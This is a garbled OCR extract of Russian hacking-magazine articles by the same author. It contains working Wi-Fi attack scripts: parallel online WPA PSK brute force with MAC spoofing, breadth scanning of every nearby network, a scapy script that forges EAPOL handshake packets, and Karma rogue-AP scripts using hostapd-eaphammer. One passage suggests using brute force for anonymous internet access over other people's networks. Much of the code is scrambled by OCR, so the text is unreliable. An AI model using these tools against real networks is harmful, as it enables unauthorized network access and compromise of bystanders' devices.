       if grep -q "complete" "/tmp/wpa_${rand}_${essid}.log" > /dev/
null; then

               echo -e $GREEN "[+] [$now] $IFACE $essid: $password"
$RESET

1            exit 
   

 
         elif grep -q "Handshake failed" "/tmp/wpa_${rand}_${essid}.
log"; then

               echo -e $RED "[-] [$now] $IFACE $essid: $password" $RESET
         else

               echo -e $GREY "[!] [$now] $IFACE $essid: $password"
$RESET

              echo "$password" >> "$wordlist"
       fi

        rm "/tmp/wpa_${rand}_${essid}.log" 2> /dev/null
        rm "/tmp/wpa_${rand}_${essid}.conf" 2> /dev/null 

   done < "$wordlist"
    1  elif [ "$threads" -gt ]; then

     typeset -a pids=()
    0  for ((thread= ; thread<$threads; thread++)); do

  <   |   
 

       "$0" "$1" (cat "$2" awk "NR%$threads==$thread") || pkill 
-f "$0" & 
       pids+=($!)
       #sleep 0.25
   done

pid      for in ${pids[*]}; do
         tail --pid=$pid -f /dev/null 

   done
fi

Скрипт будет пытать ся под клю чить ся к точ ке дос тупа, исполь зуя исклю читель- 
но легитим ное ПО. На каж дой ите рации, что бы избе жать бло киро вок, он
может менять наш MAC-адрес на ран домный. Такой скрипт не тре бует осо- 
бых режимов бес про вод ной сетевой кар ты и может быть запущен на любом
компь юте ре и даже на устрой стве с Android.

Брут форс онлайн в глу бину в четыре потока (одна точ ка дос тупа, мно го
паролей)

Этот метод не так уж и плох, ведь даже Android по умол чанию управля ет бес- 
про вод ными соеди нени ями через ста рый доб рый . Cчи тает- 

ся, что онлайн-брут форс точек дос тупа не парал лелит ся, а ско рость под бора
пароля уве личить невоз можно. Одна ко при одновре мен ном брут форсе
паролей сра зу с двух устрой ств не было замече но падения ско рос ти, сле- 
дова тель но, уве личе ние быс тро дей ствия воз можно.

wpa_supplicant

В скрип те  есть под дер жка мно гопо точ ности, реали зован-

ная дос таточ но прос тым и ори гиналь ным спо собом: на одном и том же
WLAN-интерфей се мы можем одновре мен но запус кать сра зу нес коль ко про- 
цес сов . Пока один ждет отве та от точ ки дос тупа, дру гой

 может отправ лять пакеты аутен тифика ции со сле дующим

паролем. Зна чит, ско рость брут форса все же может быть уве личе на, прав да,
в разум ных пре делах и не на всех точ ках дос тупа в рав ной сте пени.

wpa-brute.sh

wpa_supplicant
wpa_supplicant

До бавив обер тку вок руг скрип та , мы можем реали зовать

брут форс в ширину:

wpa-brute.sh

wpa_brute-width.sh
#!/bin/bash
RED='\x1b[31m'
GREEN='\x1b[32m'
GREY='\x1b[90m'
RESET='\x1b[0m'

IFACE=wlan0 
60 TIMEOUT=

PASSWD=()
6 MAX_TREADS=

  1      
 

[[ $# -ge ]] && PASSWD=($*) || while read passwd; do PASSWD+=("
$passwd"); done
#PASSWD=(12345678 123456789 1234567890 qwertyuiop 1q2w3e4r 987654321 
1q2w3e4r5t qazwsxedc 11111111)

#sudo killall -KILL wpa_supplicant 2> /dev/null
 mkdir /tmp/wpa_brute 2> /dev/null && chmod o+rw /tmp/wpa_brute 

 : while
do

 up  sudo ifconfig $IFACE
   typeset -a bssids=()
   typeset -a essids=()
   typeset -a signals=()
 IFS=$'\x0a'
 line  

 |    |   
 |  

for in $(sudo iw dev $IFACE scan 2> /dev/null | egrep 
'^BSS|SSID:|signal:|Authentication' tr $'\n' $'\t' sed -e 's/
BSS/\nBSS/g' grep 'PSK')
 do

    |      IFS=$'\t' read bssid signal essid <<< $(echo "$line" sed -rn
's/BSS (.+)\(.*\t+signal: (.*).00 dBm.*\t+SSID: ([^\t]+)\t.*/\1\t\2\
t\3/p')
        if [ -n "$essid" ]; then
     #echo "[*] $bssid $signal $essid"
     bssids+=($bssid)
     essids+=($essid)
     signals+=($signal)
   fi
 done

 0  i++ for ((i= ; i<${#bssids[@]}; ))
 do

    echo "${essids[i]}"$'\t'"${bssids[i]}"$'\t'"${signals[i]}"
  |    3  |  done sort -n -k -r uniq > /tmp/wpa_brute/wpa_net.txt 

 IFS=$'\x0a'
 net  for in $(cat /tmp/wpa_brute/wpa_net.txt)
 do

      IFS=$'\t' read essid bssid signal <<< $(echo "$net")
 

 
   fgrep -q "$essid" /tmp/wpa_brute/essids_known.txt 1> /dev/null 
2> /dev/null && continue

    echo "[+] $essid $bssid $signal"
    down  

  up 

sudo ifconfig $IFACE ; sudo ifconfig $IFACE hw ether "00:$[
RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]:$[
RANDOM%110+10]" 2> /dev/null; sudo ifconfig $IFACE
   0 threads=
    for passwd in ${PASSWD[*]}
    do ((threads++))

      echo "$passwd"
    done > /tmp/wpa_brute/wordlist.txt 
      timeout $TIMEOUT $(dirname "$0")/wpa_brute.sh "$essid" /tmp/wpa_
brute/wordlist.txt $(( threads<=MAX_TREADS ? threads : MAX_TREADS ))
     echo "$essid" >> /tmp/wpa_brute/essids_known.txt 
   break
 done

done

Cкрипт на каж дой ите рации будет ска ниро вать эфир, про верять наличие бес- 
про вод ных сетей, сор тировать их по уров ню сиг нала и пытать ся подоб рать
толь ко один или нес коль ко ука зан ных паролей.

Брут форс в ширину может быть очень полезен, ког да ата куемый объ ект
име ет про тяжен ный периметр с кучей раз нооб разных Wi-Fi-сетей, мно гие
из которых — это несан кци они рован ные сети, раз дава емые поль зовате лями,
не силь но заботя щими ся о защищен ности. Дру гой хороший при мер сла бо
защищен ных устрой ств, которые обя затель но сто ит искать подоб ным
методом, — это прин теры. И то и дру гое может стать отличной точ кой вхо да
во внут реннюю сеть ком пании.

Ис поль зовать брут форс в ширину мож но и без цели про ник новения, нап- 
ример что бы орга низо вать ано ним ный выход в интернет через чужой канал.

Продолжение статьи →

mailto:s0i37@ya.ru
https://xakep.ru/2023/04/26/hacker-megadrone/
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ÎÍËÀÉÍÎÂÛÉ ÁÐÓÒÔÎÐÑ Ñ ÈÑÏÎËÜÇÎÂÀÍÈÅÌ SCAPY

Ес ли в нашем рас поряже нии есть сетевая кар та с режимом монито ра и воз- 
можностью инжекта про изволь ных пакетов, мож но поп робовать самос- 
тоятель но реали зовать брут форс. Для это го нуж но исполь зовать про токол,
по которо му выпол няет ся про вер ка клю ча WPA PSK, — EAPOL. А имен но пер- 
вые два его пакета — M1 и M2. Пакет M1 будет отправ лять точ ка дос тупа, так
что нам нуж но уметь его читать и на его осно ве фор мировать пакет M2,
содер жащий уже кон троль ную сум му пароля. И если мы получим от точ ки дос- 
тупа еще и M3-пакет EAPOL, зна чит, пароль был вер ный.

В интерне те я не нашел готовых при меров отправ ки WPA PSK через
EAPOL, все, чем приш лось доволь ство вать ся, — это кус ки кода, который
выдер гива ет handshake. Тем не менее най ден ной информа ции ока залось
дос таточ но для того, что бы самос тоятель но реали зовать вычис ление клю ча
WPA PSK с исполь зовани ем EAPOL и пос тро ить всю цепоч ку negotiation.

Итак, преж де все го нам нуж но имя (ESSID) и MAC-адрес (BSSID) бес про- 
вод ной сети, которые мож но получить из Beacon-пакета:

#!/usr/bin/python3
from scapy.all import *
from threading import Thread 
from time import sleep
import hmac,hashlib,binascii 
import random 
from sys import argv 

beacon = None 
: def get_beacon()
p :    def handle( )

       global beacon 
       seen_receiver = p[Dot11].addr1 
       seen_sender = p[Dot11].addr2 
       seen_bssid = p[Dot11].addr3 

  and        if target.lower() == seen_bssid.lower() \
p:        Dot11Beacon in 

 p            beacon =
           print("[*] Beacon from Source {}".format(seen_bssid))

True            return 
, 

WAIT
   sniff(iface=IFACE, lfilter=lambda p: p.haslayer(Dot11Beacon)
stop_filter=handle, timeout= )

Thread(target=get_beacon).start()
  5 wait =

  0: while not beacon and wait >
   0.01sleep( )
    -wait = 0.01
if beacon: 
   print("[+] beacon received")

: else
   print("[-] no beacon received")
   1exit( )

Под клю чаем ся к точ ке дос тупа. Для это го ей нуж но отпра вить зап рос авто- 
риза ции:

0, 0, 
11, , 0, 0

0, 1, 0

authorization_request = RadioTap()/Dot11(proto= FCfield= subtype=
addr2=source addr3=target, addr1=target, SC= type= ) / 

Dot11Auth(status= seqnum= algo= )

is_auth_found = False 
: def get_authorization_response()

p :    def handle( )
       global is_auth_found 
       seen_receiver = p[Dot11].addr1 
       seen_sender = p[Dot11].addr2 
       seen_bssid = p[Dot11].addr3 

  and        if target.lower() == seen_bssid.lower() \
  and        target.lower() == seen_sender.lower() \
 :        source.lower() == seen_receiver.lower()

           is_auth_found = True 
           print("[*] Detected Authentication from Source {0}".
format(seen_bssid))
       return is_auth_found 

, 
WAIT

   sniff(iface=IFACE, lfilter=lambda p: p.haslayer(Dot11Auth)
stop_filter=handle, timeout= )

Thread(target=get_authorization_response).start()
0.01sleep( )

sendp 0, 1(authorization_request, verbose= count= )
  15 wait =

  0: while not is_auth_found and wait >
   0.01sleep( )
    -wait = 0.01
if is_auth_found: 
   print("[+] authenticated")

: else
   print("[-] no authenticated")
   1exit( )

Как толь ко от точ ки дос тупа пос тупило сог ласие, отправ ляем Association-зап- 
рос:

0, 0, 
0, , 0, 0  
association_request = RadioTap() / Dot11(proto= FCfield= subtype=

addr2=source addr3=target, addr1=target, SC= type= ) \
5,     / Dot11AssoReq(listen_interval= cap=0x1101) \

   / beacon[Dot11Beacon].payload 

is_assoc_found = False 
: def get_association_response()

p :    def handle( )
       global is_assoc_found
       seen_receiver = p[Dot11].addr1 
       seen_sender = p[Dot11].addr2 
       seen_bssid = p[Dot11].addr3 

  and        if target.lower() == seen_bssid.lower() \
  and        target.lower() == seen_sender.lower() \
 :        source.lower() == seen_receiver.lower()

           is_assoc_found = True 
           print("[*] Detected Association Response from Source {0}"
.format(seen_bssid))
       return is_assoc_found

, 
WAIT

   sniff(iface=IFACE, lfilter=lambda p: p.haslayer(Dot11AssoResp)
stop_filter=handle, timeout= )

Thread(target=get_association_response).start()
0.01sleep( )

sendp 0, 1(association_request, verbose= count= )
  15 wait =
  and   0: while (not is_assoc_found or not anonce) wait >

   0.01sleep( )
    -wait = 0.01
if is_assoc_found or anonce: 
   print("[+] associated")

: else
   print("[-] no associated")
   1exit( )

На наш Association-зап рос точ ка дос тупа отве чает положи тель но и сра зу
начина ет отправ лять M1-пакеты EAPOL, в которых, кста ти, час то и содер- 
жится тот самый PMKID. В этих пакетах нас будет инте ресо вать поле ,
на осно ве которо го в даль нейшем будет счи тать ся хеш-сум ма пароля:

ANONCE

 anonce = ""
: def get_m1()

p :    def handle( )
       global anonce 
       seen_receiver = p[Dot11].addr1 
       seen_sender = p[Dot11].addr2 
       seen_bssid = p[Dot11].addr3 
       key_mic_is_set = 0b100000000 

  and        if target.lower() == seen_bssid.lower() \
  and        target.lower() == seen_sender.lower() \
  and        source.lower() == seen_receiver.lower() \

bytes       not int.from_bytes( (p[EAPOL].payload)[1:3], byteorder=
'big') & key_mic_is_set: 
           anonce = bytes(p[EAPOL].payload)[13:13+32] 
           print("[*] EAPOL M1 from Source {}".format(seen_bssid))

True            return 
EAPOL , 

WAIT
   sniff(iface=IFACE, lfilter=lambda p: p.haslayer( )
stop_filter=handle, timeout= )

Thread(target=get_m1).start()
 wait = WAIT 

  0: while not anonce and wait >
   0.01sleep( )
    -wait = 0.01
if anonce: 
   print("[+] M1 ANonce: {0}".format(anonce.hex()))

: else
   print("[-] no M1 received")
   1exit( )

Вот теперь мы дол жны сге нерить M2-пакет EAPOL, более извес тный как WPA
Handshake (в нашем слу чае пока еще Half-handshake):

: def assemble_EAP_Expanded(self, l)
    ret = ''

   i range len l : for in ( ( ))
       if l[i][0] & 0xFF00 == 0xFF00: 

            ret += (l[i][1])
:        else

 pack , len           ret += ('!H', l[i][0]) + pack('!H' (l[i][1])) + 
l[i][1] 
   ret return 

: def PRF_512(key,A,B)
   b .join 0 i

 i range 4 :64] 
return '' (hmac.new(key,A+chr( ).encode()+B+chr( ).encode(),

hashlib.sha1).digest() for in ( ))[

n : def get_rand( )
 b   o = ''

   _ range n : for in ( )
 int 255 1,        o += (random.random()* ).to_bytes( 'big')

   o return 

def b mac : ( )
 b   o = ''

   m : for in mac.split(':')
 int m, 16 1,        o += ( ).to_bytes( 'big')

   o return 

pmk = hashlib.pbkdf2_hmac('sha1', password.encode(), essid.encode(), 
4096, 32)

32snonce = get_rand( )
ptk , min b ,b
+max b ,b +min +max

= PRF_512(pmk, b"Pairwise key expansion" ( (target) (source)
) ( (target) (source)) (anonce,snonce) (anonce,snonce))
kck = ptk[0:16] 
print("[*] PTK: {}".format(ptk.hex()))
print("[*] KCK: {}".format(kck.hex()))

117eapol_data_4 = bytearray( )
 b  eapol_data_4[0:1] = "\x02" # Key Description Type: EAPOL RSN Key

 b  eapol_data_4[1:1+2] = "\x01\x0a" # Key Information: 0x010a
 b  eapol_data_4[3:3+2] = "\x00\x00" # Key Length: 0
 b  eapol_data_4[5:5+8] = "\x00\x00\x00\x00\x00\x00\x00\x01" # Replay 

Counter: 1
eapol_data_4[13:13+32] = snonce # WPA Key Nonce

 b
 

eapol_data_4[45:45+16] = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x
00\x00\x00\x00\x00\x00" # WPA Key IV

 b  eapol_data_4[61:61+8] = "\x00\x00\x00\x00\x00\x00\x00\x00" # WPA 
Key RSC

 b  eapol_data_4[69:69+8] = "\x00\x00\x00\x00\x00\x00\x00\x00" # WPA 
Key ID

 b
 

eapol_data_4[77:77+16] = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x
00\x00\x00\x00\x00\x00" # WPA Key MIC

 b  eapol_data_4[93:93+2] = "\x00\x16" # WPA Key Data Length: 22
 eapol_data_4[95:95+26] = bytes(rsn_cap) # WPA Key Data Length

mic = hmac.new(kck, b"\x01\x03\x00\x75" + bytes(eapol_data_4[:77]) + 
bytes.fromhex("00000000000000000000000000000000") + bytes(eapol_data_
4[93:]), hashlib.sha1).digest()[0:16] 

 mic eapol_data_4[77:77+16] =
print("[*] MIC: {}".format(mic.hex()))

m2 0, 1, , 
8, 0, 2, 55808  

= RadioTap() / Dot11(proto= FCfield= addr2=source addr3=
target, addr1=target, subtype= SC= type= ID= ) \

6, 0, 0     / Dot11QoS(TID= TXOP= EOSP= ) \
0x3     / LLC(dsap=0xaa, ssap=0xaa, ctrl= ) \

0,     / SNAP(OUI= code=0x888e) \
1, 3, 117   / EAPOL(version= type= len= ) / bytes(eapol_data_4)

data : def checksum( )
data  % 1   FSC = binascii.crc32( ) ( <<32)

   FSC = str(hex(FSC))[2:]
   FSC = "0" * (8-len(FSC)) + FSC
   return bytes.fromhex(FSC)[::-1]

m2 /= checksum(bytes(m2))
sendp(m2, verbose=0, count=1)

Те перь нам нуж но лишь ждать, отпра вит ли точ ка дос тупа M3-пакет EAPOL
(вто рую полови ну Handshake). Это будет озна чать, что мы уга дали пароль.
Если нет, воз вра щаем ся в самое начало уже с дру гим паролем:

amic  = ""
: def get_m3()

p :    def handle( )
       global amic 
       seen_receiver = p[Dot11].addr1 
       seen_sender = p[Dot11].addr2 
       seen_bssid = p[Dot11].addr3 
       key_mic_is_set = 0b100000000 

  and        if target.lower() == seen_bssid.lower() \
  and        target.lower() == seen_sender.lower() \
  and        source.lower() == seen_receiver.lower() \
bytes       int.from_bytes( (p[EAPOL].payload)[1:3], byteorder='big')

& key_mic_is_set: 
           amic = bytes(p[EAPOL].payload)[77:77+16] 
           print("[*] EAPOL M3 from source {}".format(seen_bssid))

True            return 
EAPOL , 

WAIT
   sniff(iface=IFACE, lfilter=lambda p: p.haslayer( )
stop_filter=handle, timeout= )

Thread(target=get_m3).start()
  1.0 wait =

  0: while not amic and wait >
   0.01sleep( )
    -wait = 0.01

if amic: 
   print("[+] M3 AMIC: {0}".format(amic.hex()))
   0exit( )

: else
   1exit( )

Соб рав все вмес те, мы получим хорошо мас шта биру емый при митив.

Аутен тифика ция под невер ным паролем (EAPOL M3 не при нят)

Аутен тифика ция под вер ным паролем (EAPOL M3 при нят)

Та кой скрипт мы можем запус тить мно гок ратно, на нес коль ких кон солях
одновре мен но, тем самым реали зовав прос тое рас парал лелива ние про цес- 
са:

while read password 
 

 
do if sudo ./auth.py 00:11:22:33:44:55 test_wifi "$password"; then 
break; fi
done < passwords.txt 

В скрип те  этот код был нем ного реор ганизо ван в более удоб ную

для мно гопо точ ности фор му.

brute.py

Во семь потоков онлайн-брут форса

Ус пешно подоб ранный пароль

Па роль подоб ран. Каж дая попыт ка аутен тифика ции выпол нялась с ран домно- 
го MAC-адре са, что бы кли ент не заб локиро вали.

Ес ли мы ука жем слиш ком мно го потоков парал лель ного брут форса, точ ка
дос тупа может не пос петь за нами, в таком слу чае мы будем получать сооб- 
щения об ошиб ке. Одна ко скрипт прек расно учи тыва ет это, добав ляя еще не
про верен ные пароли в начало оче реди.

ÂÛÂÎÄÛ

Те перь мы откры ли недос тающее зве но в мат рице дей ствий.

До пол ненная схе ма дей ствий при ата ках на WPA PSK

А заод но мы изу чили еще одну прос тую, дав но забытую, но оче вид ную ата ку.
Ис поль зуя скрипт , мы смо жем отыс кать небезо пас- 

ный прин тер сре ди сотен бес про вод ных сетей, которые прос то нере аль но
ата ковать в руч ном режиме, да еще и в дви жении. Для подоб ной ата ки нет
осо бых тре бова ний — ата кован ной может быть любая бес про вод ная сеть
WPA PSK, а саму ата ку мож но вес ти с любой сетевой кар ты и даже с телефо- 
на.

wpa_brute-width.sh

Ата куя тот или иной объ ект, мы никог да не зна ем весь перечень дос тупных
бес про вод ных сетей. Более того, и сам заказ чик пен теста может не подоз- 
ревать о потен циаль ных точ ках вхо да. Раз нооб разные бес про вод ные устрой- 
ства, забытые и несан кци они рован ные сети — отличный тому при мер.

Код всех пре дос тавлен ных ути лит дос тупен в .ре пози тории на GitHub

https://github.com/s0i37/wifi
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Да же если твое кли ент ское устрой ство
не под клю чено к Wi-Fi, оно может стать
объ ектом ата ки. Сущес тву ет целый ком- 
плекс атак под общим наз вани ем Karma,
поз воля ющих ском про мети ровать кли ент- 
ские девай сы с модулем Wi-Fi на бор ту.
Сегод ня мы под робно раз берем,
как работа ет эта тех нология.

KARMA, Karma Attacks Radioed Machines Automatically, — это рекур сивный
акро ним, рас шифро выва ющий ся при мер но как «Karma ата кует ради оус трой- 
ства авто мати чес ки». И сло во «авто мати чес ки» име ет тут клю чевой смысл.

INFO

Эта статья — часть серии пуб ликаций о прак- 
тичес ких при емах взло ма и атак с исполь зовани- 
ем под ручных устрой ств, которые мож но соб рать
дома. В этих матери алах мы рас кры ваем прос тые
спо собы получе ния несан кци они рован ного дос-
тупа к защищен ной информа ции и показы ваем,
как ее огра дить от подоб ных атак. Пре дыду щая
статья серии: «

».
Брут на ходу. Ата куем бес про вод- 

ные сети прос тым и эффектив ным спо собом

WARNING

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

При ата ках на Wi-Fi зло умыш ленни ки чаще все го обра щают вни мание на точ- 
ки дос тупа. Их ата ковать куда про ще, ведь они поч ти всег да непод вижны и их
хорошо слыш но бла года ря мно гочис ленным beacon-пакетам, в которых они
анон сиру ют себя. Да и ком про мета ция точ ки дос тупа име ет впол не понят ные
пер спек тивы.

Дру гое дело — кли ент ские устрой ства. Что они могут дать хакеру? Эти
устрой ства менее замет ны, ведь они не шлют в ради оэфир пакеты столь же
активно. Тем не менее кли ент ские устрой ства мож но отыс кать пов сюду —
это и ноут буки, и телефо ны, и IP-камеры, и куча раз нооб разных embedded-
девай сов. И Karma — это, пожалуй, луч шая ата ка, которую мож но при менить
на кли ент ские устрой ства самого широко го спек тра. Такая ата ка слож нее
в реали зации, зато ее экс плу ата ция откры вает широкий прос тор для твор чес- 
тва.

ÒÅÎÐÈß

Все ата ки на кли ентов — как поль зовате лей, так и их устрой ства — реали- 
зуют ся через RoqueAP (мошен ничес кие точ ки дос тупа). Они так или ина че
исполь зуют факт доверия к вре донос ной бес про вод ной сети. Пос коль ку
имен но кли ент ская сто рона ини циирует под клю чение, то без доверия тут
не обой тись. При этом доверие необя затель но может исхо дить от поль- 
зовате ля, доверять может и само устрой ство. И Karma как раз нацеле на на то,
что бы вынудить то или иное устрой ство под клю чить ся по Wi-Fi, при чем авто- 
мати чес ки, без прив лечения его вла дель ца.

Karma — это под мно жес тво RoqueAP-атак, наряду с ата ками Evil Twin.
Но не сто ит путать эти два метода. Evil Twin — наибо лее широко извес тная
ата ка на кли ентов, по сути пред став ляющая собой бес про вод ной фишинг, то
есть соци аль ную ата ку, тре бующую учас тия поль зовате ля. В то вре мя
как Karma — это ата ка исклю читель но на само кли ент ское устрой ство, при чем
ата ка авто мати чес кая, она не тре бует учас тия поль зовате ля. Неваж но,
работа ет жер тва в дан ный момент с устрой ством или нет, раз бло киро вано
оно или заб локиро вано, находит ся оно в руках или в кар мане, — все может
быть ата кова но с помощью Karma.

Ïðè÷èíà
Ес ли верить источни кам, эта ата ка воз можна бла года ря двум осо бен ностям
поведе ния кли ент ских устрой ств:

тран сля ция в ради оэфир так называ емо го спис ка пред почти тель ных сетей
(Preffered Network List, PNL), содер жащего име на извес тных кли енту бес- 
про вод ных сетей, к которым ранее он уже под клю чал ся;

•

ав томати чес кое под клю чение к таким сетям.•

В раз личных опи сани ях Karma глав ным обра зом акцент дела ется на пер вом
пун кте — раз гла шении PNL, одна ко сущес тву ют ата ки и на устрой ства,
не тран сли рующие этот спи сок. И на мой взгляд, куда более важен вто рой
пункт — авто мати чес кое под клю чение.

Не под клю чен ные к сети кли ент ские устрой ства не столь «раз говор чивы»,
как точ ки дос тупа, одна ко пери оди чес ки они шлют в ради оэфир probe-
пакеты, содер жащие PNL — те самые сети, к которым они могут под клю чить- 
ся без учас тия поль зовате ля.

Крас ным на рисун ке отме чены кли енты с вклю чен ным Wi-Fi, но не под клю чен- 
ные ни к одной сети. Имен но эти устрой ства явля ются глав ной целью
для Karma.

Име на, содер жащи еся в probe-зап росах сетей, могут быть ста рыми
и выведен ными из экс плу ата ции (corp_old), тем не менее они по-преж нему
сох ранены на кли ентах. Так же кли енты могут пом нить домаш ние (home)
или гос тевые (hotel) сети, которые в текущем рас положе нии отсутс тву ют.

Для нас трой ки раз личных устрой ств, нап ример IP-камер, адми нис тра торы
мог ли исполь зовать тес товые сети, которые оста лись в памяти устрой ств.

И ко всем этим сетям кли енты по-преж нему готовы под клю чить ся авто- 
мати чес ки, без учас тия поль зовате ля. Таким обра зом, зло умыш ленник может
ата ковать кли ент ские устрой ства даже вда ли от исполь зуемых ими сетей, что
дела ет такую ата ку невиди мой.

Ðåàëèçàöèÿ
Ре али зация ата ки зак люча ется в том, что ата кующий слу шает содер жащие
PNL пакеты и под нима ет зап рашива емую бес про вод ную сеть в надеж де, что
кли ент выпол нит к ней под клю чение.

Тех ничес ки ата ку Karma мож но реали зовать дву мя спо соба ми:
1. На каж дый probe-зап рос кли ента запус кает ся пол ноцен ная бес про вод ная

сеть с зап рашива емым име нем.
2. На каж дый probe-зап рос кли ента отправ ляет ся толь ко probe-ответ (иног да

еще beacon-пакет), при этом новая сеть уже не переза пус кает ся каж дый
раз.

Пер вый спо соб дос таточ но прос той. Он тре бует наличия mon-интерфей са
для отсле жива ния probe-зап росов и WLAN-интерфей са для запус ка точ ки
дос тупа. Далее точ ка дос тупа уже сама отправ ляет probe-отве ты и beacon,
которые могут прив лечь тот или иной кли ент. Такую ата ку мож но выпол нить,
исполь зуя самое обыч ное ПО: tcpdump, hostapd и dnsmasq.

Но у это го спо соба есть недос татки:
тре буют ся два интерфей са;•
еди нов ремен но запус кает ся толь ко одна бес про вод ная сеть, что дела ет
невоз можным в это же вре мя про бовать дру гие име на сетей.

•

Вто рой спо соб более раци ональ ный. Что бы кли ент под клю чил ся к точ ке дос- 
тупа, ее необя затель но переза пус кать каж дый раз — тре бует ся лишь
на probe-зап рос кли ента отпра вить соот ветс тву ющий probe-ответ. Некото- 
рым кли ентам может пот ребовать ся еще отправ ка соот ветс тву ющих beacon-
пакетов. Воз можность посылать кли ентам про изволь ные probe- и beacon-
пакеты реали зова на в нем ного про пат ченной вер сии hostapd-mana. Более
того, для при ема и переда чи probe-, а так же beacon-пакетов не нужен режим
monitor, все реали зует ся на стан дар тном режиме сетевой кар ты.

Со общить кли енту о наличии точ ки дос тупа мож но дву мя спо соба ми:
1. Probe-ответ — тар гетиро ван ный ответ на probe-зап рос кли ента.
2. Beacon — широко веща тель ный анонс бес про вод ной сети.

Обыч но точ ки дос тупа реали зуют анонс сво его при сутс твия, рас сылая
широко веща тель ные beacon-пакеты, которые слы шат все бес про вод ные кли- 
енты в окру ге. Но для эко номии вычис литель ных мощ ностей кли ентов при- 
думан аль тер натив ный режим поис ка. Он зак люча ется в том, что кли ент
теперь отправ ляет широко веща тель ный probe-зап рос с име нем инте ресу- 
ющей его сети и уже точ ки дос тупа дол жны сре аги ровать на него probe-отве- 
том.

Воз можность под клю чить кли ент толь ко по probe-отве ту име ет дос таточ но
инте рес ную осо бен ность — о наличии точ ки дос тупа узна ет толь ко один кли- 
ент. Это дела ет ата ку Karma, исполь зующую лишь probe-зап росы, бес- 
шумной.

Но не все кли ент ские устрой ства под держи вают такой режим работы,
поэто му им нужен еще и клас сичес кий beacon-пакет. Ата ка с исполь зовани ем
beacon более шум ная, так как о наличии сети в этом слу чае ста нет извес тно
всем кли ентам (Loud Karma).

ÏÐÀÊÒÈÊÀ

Пе рей дем от теории к прак тике и поп робу ем вос поль зовать ся Karma. Узнать
об инте ресу ющих кли ент име нах сетей мож но дву мя спо соба ми.

Óòå÷êà PNL
Ес ли точ ки дос тупа выда ют свое при сутс твие beacon-пакета ми, то кли енты —
probe-зап росами. Пос мотреть, какие PNL содер жатся в этих самых зап росах,
мы можем с помощью раз ных ути лит — airodump-ng, hcxdumptool или даже
tcpdump:

wifi/roque_ap/karma/PNL.sh
#!/bin/bash

   sudo tcpdump -i mon0 -e -nn 2> /dev/null | grep Probe | sed -rn 's/.
* ([^\s]+) signal .*SA:(.+) Probe Request .*\(([^\)]+)\).*/\1 \2 \3/
p'

Мы уви дим, что мно гие устрой ства дей стви тель но отправ ляют непус той PNL.

Этот метод эффекти вен и поз воля ет сра зу же перей ти к ата ке на устрой ство
через запуск бес про вод ной сети с соот ветс тву ющим име нем. Но исполь- 
зование probe-зап росов для опре деле ния имен бес про вод ных сетей не поз- 
воля ет узнать тип зап рашива емой кли ентом сети. В иде але ата кующий дол- 
жен запус тить одновре мен но сра зу три бес про вод ные сети с иден тичным
име нем (OPN, WPA и EAP).

Known beacons
Не все устрой ства на деле отправ ляют probe-зап росы, содер жащие спи сок
сетей. Устрой ства, отправ ляющие пус той PNL, счи тают ся как бы неуяз вимыми
к Karma. Одна ко их спо соб ность к авто мати чес кому под клю чению по-преж- 
нему может пред став лять инте рес для хакера. А это зна чит, что к Karma уяз- 
вимы куда боль ше устрой ств, чем при нято счи тать. Мы не зна ем, к каким
сетям под клю чал ся кли ент, но что, если мы уга даем?

Имея спи сок наибо лее час то встре чающих ся имен бес про вод ных сетей,
мы можем прос то переб рать их, отправ ляя beacon-пакеты до тех пор, пока
кли ент ское устрой ство не под клю чит ся к нам.

Единс твен ный пуб личный инс тру мент, спо соб ный выпол нять ата ку known
beacons на все три типа сетей, — это hostapd-eaphammer. Эта модифи циро- 
ван ная реали зация hostapd уме ет сре ди про чего отправ лять про изволь ные
beacon-пакеты по спис ку. Исполь зуем сле дующий инте рак тивный скрипт
для перебо ра beacons по сло варю с ука зани ем типа сети:

wifi/roque_ap/karma/known_beacons.sh
#!/bin/bash

  1       [[ $# -ge ]] && essids="$1" || read -p 'essids file: ' essids 
  2        [[ $# -ge ]] && type="$2" || read -p 'type (opn/wpa/eap): ' type

IFACE='wlan1'

 up sudo ifconfig $IFACE
  case "$type" in

  'opn'|'OPN') cp hostapd-eaphammer-known_beacons-opn.conf /tmp/
hostapd-eaphammer.conf;;
  'wpa'|'WPA') cp hostapd-eaphammer-known_beacons-wpa.conf /tmp/
hostapd-eaphammer.conf;;
  'eap'|'EAP') cp hostapd-eaphammer-known_beacons-eap.conf /tmp/
hostapd-eaphammer.conf;;
esac

  sed -i "s/interface=.*/interface=$IFACE/g" /tmp/hostapd-eaphammer.
conf 

  sed -i "s|known_ssids_file=.*|known_ssids_file=$essids|g" /tmp/
hostapd-eaphammer.conf 

 |  sudo hostapd-eaphammer -x /tmp/hostapd-eaphammer.conf -d grep
'GENERATING RESPONSE:'

За пус каем и видим, что неп риступ ный на пер вый взгляд заб локиро ван ный
ноут бук с Windows готов к нам под клю чить ся.

А пос ле его под клю чения мы можем выпол нить любые ата ки и, нап ример,
вытянуть хеш поль зовате ля.

Для экспе римен тов с known beacons я написал 
.

прос тую Python-реали зацию
с помощью scapy

Продолжение статьи →

mailto:s0i37@ya.ru
https://xakep.ru/2023/05/12/wifi-bruteforce/
https://github.com/s0i37/karma/blob/main/known_beacons.py
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ÀÒÀÊÈ

В Wikipedia ска зано, что Karma нацеле на на откры тые сети, но на деле нич то
не меша ет при менить ата ку и к зак рытым сетям. В зависи мос ти от типа под- 
нима емой нами сети воз можны три сце нария:

OPN — под нятие откры той сети, при ем тра фика устрой ства, сетевые ата ки
на устрой ство;

•

WPA — зах ват сох ранен ного пароля в виде half-handshake, брут форс,
переход к сце нарию с OPN;

•

EAP — при ем учет ных дан ных.•

В общем, мат рица воз можных с Karma атак дос таточ но обширна.

Од нако все пуб личные инс тру мен ты, уме ющие выпол нять ата ку Karma,
не дела ют ничего пос ле под клю чения кли ента. При реали зации такой ата ки
некор рек тно про водить чер ту пос ле под клю чения устрой ства, ведь в этот
момент хакер может при менить некото рые при емы, спе цифич ные толь ко
